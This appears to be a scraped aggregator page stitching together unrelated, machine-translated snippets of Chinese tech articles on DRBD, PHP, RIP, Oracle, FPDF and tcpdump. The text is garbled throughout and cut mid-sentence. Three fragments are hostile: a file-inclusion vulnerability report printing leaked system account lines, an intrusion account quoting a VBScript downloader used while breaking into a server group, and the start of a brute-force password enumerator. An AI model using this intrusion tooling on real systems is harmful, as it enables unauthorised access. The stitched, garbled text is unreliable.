esw 520

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Centos7.0 install and configure DRBD

;Disk/dev/sda1;Meta-disk internal;On drbdAA {Address 9.111.222.59: 7789;}On drbdBB {Address 9.111.222.60: 7789;}}6. the above files must be the same on the two nodes. Therefore, you can synchronize all the files just configured to the drbdBB node based on ssh: 7. scp-r/etc/drbd. d/r0.res global_common.conf root @ drbdBB:/etc/drbd. d/ 8. initialize the defined resources on the two nodes and start the service: Drbdadm create-md r0 Systemctl start drbd [Root @ drbdBB drbd. d] # cat/proc/drbdVersion

Php sorts 0.1 billion QQ numbers

. 0_0zzzz Tainiu Really powerful, speechless. Powerful array engineering Since there are ready-made data files, there is no need to construct an insert string. set_time_limit(0);$sql =Time: 182,955,851 microseconds Memory: 664 Set_time_limit (0); mysql_connect ('localhost', 'root', ''); mysql_select_db ('test'); echo 'in ascending order'; $ Filename = str_replace (' \ ','/', dirname (_ FILE __). '/qq_1.txt'); if (file_exists ($ filename) unlink ($ filename ); $ SQL = '; $ Fil

Newusers and chpasswd usage (1)

: User Description: user's home directory: SHELL usedExample: win00:x:520:520::/home/win00:/sbin/nologinwin01:x:521:521::/home/win01:/sbin/nologin It is worth mentioning that for SHELL types, you can view all the shells on the host through chsh; [root@localhost beinan]# chsh --list/bin/sh/bin/bash/sbin/nologin/bin/ksh/bin/tcsh/bin/csh/bin/zsh In addition to/sbin/nologin, other ty

Netbook Security companion Kingsoft ultimate experience

" Technology is fully used to query hundreds of millions of users online, effectively resisting the intrusion of popular viruses and Trojans. This version of anti-virus software is published on Kingsoft drug overlord's blog. The product name is Kingsoft drug overlord's quick alpha2 preview version. Currently, this version is still in the testing stage. We can download it by visiting the address http://blog.duba.net/read.php/191.ht. (1)Figure 1 To better test the performance of the anti-virus sof

Signal Processing and principle of RIP Protocol

In terms of routing, we need to understand the most basic knowledge. Here we will mainly explain the basic content of the RIP Protocol. Let's take a look at the process of RIP Protocol operation, that is, the router software processes the message input and output. The input and output processes are roughly described as follows: (1) Input Processing: mainly refers to the processing of data packets received by the vro protocol software on the UDP port 520

JS simple carousel image scrolling instance

[Javascript]Copy codeThe Code is as follows:Var forimg = function (foritem, hoverStop, defaultfor ){Var _ foritem = foritem. constructor = jQuery? Foritem: $ (foritem );Var imgarr = [{"Z-index": 1, "width": 100, "height": 100, "left": 0, "top": "75px "},{"Z-index": 2, "width": 200, "height": 200, "left": 50, "top": "25px "},{"Z-index": 3, "width": 300, "height": 250, "left": 150, "top": "0 "},{"Z-index": 2, "width": 200, "height": 200, "left": 370, "top": "25px "},{"Z-index": 1, "width": 100, "h

Router Configuration & lt; 14 & gt;

= Serial1/0 Input pkts 5 output pkts 5 in bytes 520 Out bytes 520 dropped pkts 0 in pkts dropped 0 Out pkts dropped 0 out bytes dropped 0 In FECN pkts 0 in BECN pkts 0 out FECN pkts 0 Out BECN pkts 0 in DE pkts 0 out DE pkts 0 Out bcast pkts 0 out bcast bytes 0 5 minute input rate 0 bits/sec, 0 packets/sec 5 minute output rate 0 bits/sec, 0 packets/sec Pvc create time 00:01:14, last time pvc status changed

A Preliminary Study on the Performance of composite indexes

-------------------------------------------------------------------------------------------- Predicate Information (identified by operation id ): --------------------------------------------------- 2-access ("OBJECT_TYPE" = 'table' AND "OBJECT_ID" = 5585) Note ----- -Dynamic sampling used for this statement (level = 2) Statistics ---------------------------------------------------------- 0 recursive cballs 0 db block gets 5 consistent gets 0 physical reads 0 redo size 1622 bytes sent via SQ

Python Learning Note 002_ array _ tuples

Creating a normal array>>> member=["Shandong Gold", "nine Yang Shares"]>>> Member[' Shandong Gold ', ' nine Yang shares ']Create a mixed array (the array holds various types of data)>>> mix=[1,2.3, "520", ["Haha"]]>>> Mix[1, 2.3, ' 520 ', [' Haha ']Create an empty array>>> empty=[]>>> Empty[]Adding elements to an arrayAppend (), appends an element to the end of the arrayExtend (), extending another list wit

Tracking Oracle startup status

10046 event can be used for tracking [oracle@ggos ~]$ sqlplus / as sysdbaSQL*Plus: Release 11.2.0.4.0 Production on Fri Dec 20 19:48:00 2013Copyright (c) 1982, 2013, Oracle. All rights reserved.Connected to an idle instance.SQL> startup mountORACLE instance started.Total System Global Area 835104768 bytesFixed Size 2257840 bytesVariable Size 717229136 bytesDatabase Buffers 113246208 bytesRedo Buffers 2371584 bytesDatabase mounted.SQL> orade

Php uploads files and generates thumbnail code

). "/". ($ loginArr ['uid'] % 257 ). "/". $ loginArr ['uid']; If (isset ($ _ FILES ['upload']){MkDirs ($ avatarPath ); $ FileType = strtolower (strrchr ($ _ FILES ['upload'] ['name'], "."); If (! In_array ($ fileType, array (". jpg", ". jpeg", ". gif", ". png "))){Echo '{"error": "currently, only jpg, jpeg, gif, and png images are supported! "}';}Elseif ($ _ FILES ['upload'] ['SIZE']> 2097152){Echo '{"error": "The image cannot exceed 2 MB! "}';}Else{$ ImgInfo = @ getimagesize ($ _ FILES ['uploa

Use PHP to create PDF documents

I am using FPDF (www.fpdf.org). After downloading the fpdf class library, I also need to use the following Chinese library to support Chinese characters, but I can only use one Chinese font (文 ). For this reason, I have been worried for a long time, and now I have finally finished it. I want to convert the TrueType font to the pt1 Font: The following is a Chinese Library found on FPDF:Require ('fpdf. php '); $ Big5_widths = array (''=> 250 ,'! '=> 250,' "'=> 408,' # '=> 668,' $ '=> 490,' % '=> 8

How to use PHP to create PDF documents

: This article describes how to use PHP to create a PDF document. For more information about PHP tutorials, see. How to use PHP to create PDF documents I am using FPDF (www.fpdf.org). after downloading the fpdf class library, I also need to use the following Chinese library to support Chinese characters, but I can only use one Chinese font (文 ). For this reason, I have been worried for a long time, and now I have finally finished it. I want to convert the TrueType font to the pt1 font: The foll

Use PHP to create PDF documents

I used FPDF (www.fpdf.org) to create a PDF document in PHP. after downloading the fpdf class library, I also needed to use the following Chinese class library to support Chinese, however, only one Chinese font can be used ). For this reason, I have been worried for a long time, and now I have finally finished it. I want to convert the TrueType font to the pt1 font: The following is a Chinese library found on FPDF: Require ('fpdf. php '); $ Big5_widths = array (''=> 250 ,'! '=> 250,' "'=> 408,'

Storage Structure of unique Indexes

100 '; The content of the trace file is as follows:----- Begin tree dumpBranch: 0x1000843 16779331 (0: nrow: 143, level: 1)Leaf: 0x1000844 16779332 (-1: nrow: 520 rrow: 520)Leaf: 0x1000845 16779333 (0: nrow: 513 rrow: 513)Leaf: 0x1000846 16779334 (1: nrow: 513 rrow: 513)Leaf: 0x1000847 16779335 (2: nrow: 513 rrow: 513)Leaf: 0x1000848 16779336 (3: nrow: 513 rrow: 513)Leaf: 0x1000849 16779337 (4: nrow: 513 r

Kingsoft injection + local File Inclusion Vulnerability + absolute path Leakage

:/bin/bashMysql: x: 512: 512:/home/mysql:/bin/bashNtp: x: 38: 38:/etc/ntp:/sbin/nologinOscar: x: 518: 519:/data/app/Oscar:/bin/bashVote_www: x: 519: 520:/data/app/vote.www.iciba.com:/bin/bashNagios: x: 101: 102: nagios:/var/log/nagios:/bin/shIcibaweb: x: 520: 521:/data/app/192.168.0.14/news.iciba.com/:/sbin/nologinHuangjin: x: 525: 48:/data/app/wap.iciba.com/wwwroot:/bin/bashCiba_duanjing: x: 522: 48:/data/

Penetration into Japanese server group

Because of this situation, penetration can obtain the permissions of the entire server group, N servers. So I wrote an article with little vanity. Start: The starting point is an injection point: sa, Intranet, and a vbs script, lcx, and forwarding port. The following is a reference clip:Down. vbsILocal=LCase(WScript.Arguments(1))IRemote=LCase(WScript.Arguments(0))Set xPost=CreateObject("Microsoft. XMLHTTP")XPost.Open"GET",IRemote,0XPost.Send()Set sGet=CreateObject("ADODB. Stream")SGet

10 binary to 62, implements all cipher combinations (brute force) for the specified number of digits

Because we're going to be poor here. The password includes 0-9,a-z,a-z a total of 62 characters, so we use 62 binary to traverse.First, we implement a 10 binary to 62 binary method. private static char[] CharSet = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ". ToCharArray (); private static string[] CharSet = {"0", "1", "2", "3", "4", "5", "6", "7", "8", "9",// "A", "B", "C", "D", "E", "F",

EMC FC AX-4 storage crashes, RAID5 hard drive corrupted data recovery process

file system is ZFS.Resolution process1. Hard Drive detectionBecause the storage is missing because some disks are out of line, the entire storage is not available. Therefore, after receiving the disk to do physical detection of all disks, after the detection of no physical failure. Then use the Bad Channel Detection tool to detect the disk bad path, and found that there is no bad way. 650) this.width=650; "Src=" Http://s3.51cto.com/wyfs02/M00/8C/79/wKiom1htrzjQSwvtAAIK2pmZ3y0501.jpg-wh_500x0-wm

Linux tcpdump command details how to use the Linux tcpdump command

; 192.168.0.1.2101:p 268:352 ($) ACK 1 win 2100 23:35:55.201096 PPPoE [ses 0x1cb0] IP dns2.cs.hn.cn.domain > 118.250.6.85.64215:43983 1/0/0 (72) 23:35:55.203087 IP dns2.cs.hn.cn.domain > 192.168.0.3.32804:43983 1/0/0 (72) 23:35:55.204666 IP 192.168.0.3.ssh > 192.168.0.1.2101:p 352:452 (MB) ACK 1 win 2100 23:35:55.204852 IP 192.168.0.1.2101 > 192.168.0.3.ssh:. ACK 452 win 64152 23:35:55.205305 IP 192.168.0.3.ssh > 192.168.0.1.2101:p 452:520 (in) ACK 1

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